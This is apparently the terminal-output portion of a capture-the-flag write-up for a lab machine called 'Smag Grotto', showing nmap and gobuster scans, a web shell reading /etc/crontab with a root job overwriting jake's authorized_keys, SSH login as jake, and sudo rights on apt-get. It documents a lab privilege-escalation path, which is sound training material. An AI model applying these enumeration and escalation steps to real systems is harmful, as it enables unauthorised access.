1
┌──(igris㉿kali)-[~/Desktop/SmagGrotto]
2
└─$ nmap -sV 10.201.25.130
3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 23:14 EDT
4
Nmap scan report for 10.201.25.130
5
Host is up (0.38s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
9
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1
┌──(igris㉿kali)-[~/Desktop/SmagGrotto]
2
└─$ gobuster dir -u 10.201.25.130 -w /usr/share/wordlists/dirb/common.txt
3
===============================================================
4
Gobuster v3.8
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://10.201.25.130
8
[+] Method:                  GET
9
[+] Threads:                 10
10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.8
13
[+] Timeout:                 10s
14
===============================================================
15
Starting gobuster in directory enumeration mode
16
===============================================================
17
/.hta                 (Status: 403) [Size: 278]
18
/.htpasswd            (Status: 403) [Size: 278]
19
/.htaccess            (Status: 403) [Size: 278]
20
/index.php            (Status: 200) [Size: 402]
21
/mail                 (Status: 301) [Size: 313] [--> http://10.201.25.130/mail/]

1
┌──(igris㉿kali)-[~/Desktop/SmagGrotto]
2
└─$ cat /etc/hosts
3
127.0.0.1       localhost
4
127.0.1.1       kali
5
10.201.17.4 smag.thm development.smag.thm

1
www-data@smag:/var/www/development.smag.thm$ less /etc/crontab
2
less /etc/crontab
3
# /etc/crontab: system-wide crontab
4
# Unlike any other crontab you don't have to run the `crontab'
5
# command to install the new version when you edit this file
6
# and files in /etc/cron.d. These files also have username fields,
7
# that none of the other crontabs do.
8

9
SHELL=/bin/sh
10
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
11

12
# m h dom mon dow user  command
13
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
14
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
15
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
16
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
17
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys

1
┌──(igris㉿kali)-[~/Desktop/SmagGrotto]
2
└─$ ssh -i id_rsa jake@smag.thm
3
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
4

5
 * Documentation:  https://help.ubuntu.com
6
 * Management:     https://landscape.canonical.com
7
 * Support:        https://ubuntu.com/advantage
8

9
Last login: Mon Oct  6 22:15:41 2025 from 10.9.2.156
10
jake@smag:~$

1
jake@smag:~$ sudo -l
2
Matching Defaults entries for jake on smag:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4

5
User jake may run the following commands on smag:
6
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get